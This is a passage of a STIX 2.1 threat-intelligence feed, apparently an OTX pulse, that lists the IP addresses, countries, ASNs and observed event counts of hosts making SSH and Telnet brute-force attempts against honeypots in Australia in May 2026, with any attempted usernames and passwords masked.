      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--54cfa781-6863-40f4-8f9f-9687375cae01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.228.70.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): h****r. Passwords observed (masked): 0******0.",
      "id": "indicator--7a4c7bcd-a309-4726-92af-34d3173bff49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.187.184.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 393. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): u****u, 3**********4, m*****n, r**t, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, 1****6.",
      "id": "indicator--3f44b841-10af-4b9f-a8b2-1d6db4ff2676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.141.47.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--16964857-567a-4f50-b58d-387795c83d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.83.160.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--42754762-7d4c-455f-a745-a4b1174fafcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.78.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--67f65e5f-9f13-44c4-81ca-08e13c6ef039",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.29.35.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.82.70.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 274062. Organisation(s): SOLUCION TV 555, C.A.",
      "id": "indicator--e8ff28f3-734e-4fc5-b9a6-5bdb024c5f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.182.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): t**t. Passwords observed (masked): 1********0.",
      "id": "indicator--c8af1bc2-9352-419f-9850-d27f290f4549",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.56.115.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--4fd67da2-8f37-4141-8337-d8c9aba4e315",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.41.81.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--da587325-269f-4116-8f7b-75281b560267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1120. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 17378. Organisation(s): TierPoint, LLC.",
      "id": "indicator--e3ee309d-36f8-4cf5-b6c9-8ab18122e267",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.237.185.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--cff2e7f9-8acb-410e-9004-c24baa78077b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.180.231.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--42b64f31-a94b-4c56-8253-cef70e893b70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.117.100.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--17826adb-a277-4257-a943-ad90b2e6498e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--63733188-03dc-4fdd-8a6b-b6db856ff7a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.207.54.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268367. Organisation(s): ITELFIBRA TELECOMUNICACOES LTDA.",
      "id": "indicator--08d58b4a-c27e-4a68-955c-0dd444080a58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.238.254.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-03T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--580f777b-52b1-416a-9840-1a4841ab144a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.3.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:15:10.000Z",
      "valid_until": "2026-06-04T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 149897. Organisation(s): PT Amanusa Telemedia Mahardika. Usernames observed (masked): u****u. Passwords observed (masked): q******..",
      "id": "indicator--a74b6457-ada0-44fd-89b8-44f98a510eed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.187.165.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--27a529f0-4f8e-4bf6-a074-131df4026a84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.20.32.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268671. Organisation(s): RL NET INTERNET.",
      "id": "indicator--47a43b0c-723a-4e8c-baed-494e586782b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.72.110.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35819. Organisation(s): Etihad Etisalat, a joint stock company.",
      "id": "indicator--6afa298c-ce8e-423a-9a09-8744776803e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.73.109.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--c713f9d4-db66-4d86-bb77-0a63badbeb2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.18.209.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c8a0defa-192d-4576-9100-e04ec60ab91d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.15.31.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): ***, u****u. Passwords observed (masked): ***, a***n.",
      "id": "indicator--cd0474bc-e34b-4827-bba2-694670853a57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.110.147.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--5e2537ea-0e98-4d96-8bf4-d027fa24b032",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.103.245.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271951. Organisation(s): 4 EVER PLUG,C.A..",
      "id": "indicator--0f9587cd-a103-4bc1-846f-8bcd74e431e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.64.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--2b90b94f-d2d7-47db-b861-58b06e5025a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.6.220.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T00:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--49332c2c-fada-4ed4-96ec-971c7e4e02ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.188.16.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:15:27.000Z",
      "valid_until": "2026-06-05T00:15:03.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited. Usernames observed (masked): u****u, a***n, h****p, 3**********4, d******r. Passwords observed (masked): 1****6, 1*******9, 3**********4, @********4, a*****6.",
      "id": "indicator--252c615a-6ad9-418c-b178-dbc0a26827c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.109.208.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 297. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u, 3**********4, a***n, f****e, h****p. Passwords observed (masked): 3***********4, 3**********4, a***n, 1***5, 1****6.",
      "id": "indicator--4106f73a-8f40-493d-967e-32ff56c873ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.36.109.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 204. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): u****u, 3**********4, a***n, r**t, a*****a. Passwords observed (masked): 3***********4, 3**********4, a***n, 1*******3, 1***5.",
      "id": "indicator--1c99c94a-98c7-4631-94b8-6f6ae690beca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.13.207.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--ab064453-d61c-440a-95c7-78891c39290f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.134.228.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 116. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): u****u, a***n, m***l, t**t, 3**********4. Passwords observed (masked): ***, 1********5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--6083f088-8256-4361-a7c0-0abad415ec99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.206.241.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T01:15:10.000Z",
      "valid_until": "2026-06-05T01:15:08.000Z"
    },
    {
      "created": "2026-05-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): u****u, a***n, r**t, 3**********4, m***l. Passwords observed (masked): 3***********4, 3**********4, ***, 1****2, 1********5.",
      "id": "indicator--ba263347-100a-4fd1-9842-b384d3e7ae76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.49.23.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
